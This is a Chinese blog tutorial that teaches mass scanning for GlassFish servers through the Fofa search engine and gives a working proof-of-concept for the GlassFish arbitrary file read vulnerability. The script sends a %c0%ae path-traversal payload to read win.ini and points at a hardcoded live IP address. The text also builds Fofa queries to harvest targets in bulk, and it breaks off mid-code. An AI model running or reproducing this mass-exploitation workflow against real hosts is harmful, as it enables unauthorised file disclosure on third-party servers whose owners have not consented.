python安全开发——Fofa结果、POC批量提取验证&教育SRC

本文介绍了使用Python进行安全开发的方法,包括利用Fofa进行目标搜索,提取验证POC,以及批量验证漏洞。通过示例展示了如何编写Python脚本批量收集Fofa搜索结果,对Glassfish任意文件读取漏洞进行验证,并讨论了教育SRC平台的信息提取。文章还提到了异常处理、延时策略和多线程优化。
摘要由CSDN通过智能技术生成

在这里插入图片描述
1.概述:

涉及技术 :Request 爬虫技术,lxml 数据提取,异常护理,Fofa 等使用说明。
目的: 掌握和利用公开或者 0day漏洞进行批量化的收集和验证脚本开发。

在这里插入图片描述

2.某漏洞 POC 验证脚本:

requests库使用参考:https://docs.python-requests.org/en/latest/

首先拿一个简单的例子:验证是否存在 glassfish 任意文件读取漏洞

过程:验证存在 glassfish 的应用是否存在任意文件读取漏洞 :两个 poc,分别对应 linux 和 windows 的。首先fofa关键字(“glassfish” && port=“4848”&&after=“2020-01-01”)搜索可能存在漏洞的网址,记下url,然后编写python脚本发起 get 请求,根据请求的响应状态码来判断是否存在漏洞:

import requests

url='http://186.202.17.69:4848/'
payload_linux='/'
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'

#data_linux=requests.get(url+payload_linux) #获取请求后的返回源代码
#data_windows=requests.get(url+payload_windows) #获取请求后的返回源代码

data_linux=requests.get(url+payload_linux).status_code #获取请求后的返回状态码
data_windows=requests.get(url+payload_windows).status_code #获取请求后的返回状态码

if data_linux==200 or data_windows==200:
    print("yes")
else:
    print("no")

#print(data_linux.content.decode('utf-8'))
#print(data_windows.content.decode('utf-8'))

原理很简单,就是发起一次http请求,不存在该文件就会返回404状态码。
在这里插入图片描述

3.Fofa搜索结果提取采集漏洞批量验证脚本:

上述只是针对单个目标的验证,那么如何批量提取fofa搜索到的结果、批量发起请求验证该漏洞呢?

首先是如何批量提取搜索结果:可以借助lxml库来提取fofa的结果(也可以正则表达式,没学过爬虫,不知道其他办法…),了解fofa的url搜索规则,对url进行base64处理、页数和条数显示:

#由于fofa最近被整改,修改了域名,而且目前仅限会员使用,无法完全适用了,但思路也可以用到其他搜索引擎上
#本来fofa也有接口可以直接调用查询的,这样写脚本适配url规则及写入cookie反而麻烦了,整改后不知道现在接口还能不能用。
import base64
import requests

search_data='"glassfish" && port="4848"'
url='https://fofa.info/result?&qbase64='
search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8")
urls=url+search_data_bs
print(urls)

得到的信息筛选出需要的,此时需要使用lxml库:
在这里插入图片描述

soup=etree.tostring(result
  • 1
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
收集 FOFA 搜索结果的 Python 脚本可以使用 FOFA 的开放 API 进行实现。以下是一个简单示例: 首先,你需要在 FOFA 网站上注册并获取 API 密钥。然后,使用下面的 Python 代码作为参考: ```python import requests import json def collect_fofa_results(api_key, query): headers = { 'User-Agent': 'Mozilla/5.0', 'X-Auth-Token': api_key } params = { 'qbase64': query, 'full': 'true', 'fields': 'ip,title' } url = 'https://fofa.so/api/v1/search/all' response = requests.get(url, headers=headers, params=params) if response.status_code == 200: results = json.loads(response.text) return results else: print('Error occurred. HTTP Status Code:', response.status_code) return None api_key = 'your_api_key' query = 'your_query_base64_encoded' results = collect_fofa_results(api_key, query) if results: for result in results['results']: ip = result[0] title = result[1] print('IP:', ip, 'Title:', title) ``` 这段代码中,`collect_fofa_results` 函数发送请求到 FOFA 的 API,其中包含你的 API 密钥和经过 Base64 编码的查询语句。在这个示例中,只收集了结果中的 IP 和标题两个字段。 你需要将 `your_api_key` 改为你在 FOFA 上获取到的 API 密钥,并将 `your_query_base64_encoded` 改为经过 Base64 编码的查询语句。当脚本运行时,它会打印出结果中的 IP 和标题。 这只是一个简单示例,你可以根据自己的需求修改代码并添加更多的字段来收集 FOFA 搜索结果。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值